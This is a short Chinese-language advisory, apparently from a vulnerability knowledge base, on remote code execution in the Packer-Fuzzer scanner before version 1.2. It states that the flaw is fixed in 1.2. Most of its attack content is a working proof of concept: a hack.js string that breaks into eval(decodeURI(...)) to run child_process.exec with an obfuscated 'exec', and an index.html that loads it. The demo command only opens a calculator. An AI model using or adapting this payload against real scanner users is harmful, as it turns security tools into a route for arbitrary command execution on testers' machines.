Packer-Fuzzer 漏扫工具 < 1.2 远程代码执行漏洞

利用Packer-Fuzzer扫描加载恶意Payload的网站从远程加载恶意JS导致命令执行。

目前发布的1.2版本已经修复。

hack.js：

document.createElement("script");
q.p+"";eval(decodeURI("require(%27child_process%27).e%78ec(%27mate-calc%27)"));//"{114514:;[s].js

index.html：

<html>
    <noscript>naive!</noscript>
    <body>
        <script src="./hack.js"></script>
    </body>
</html>

results matching ""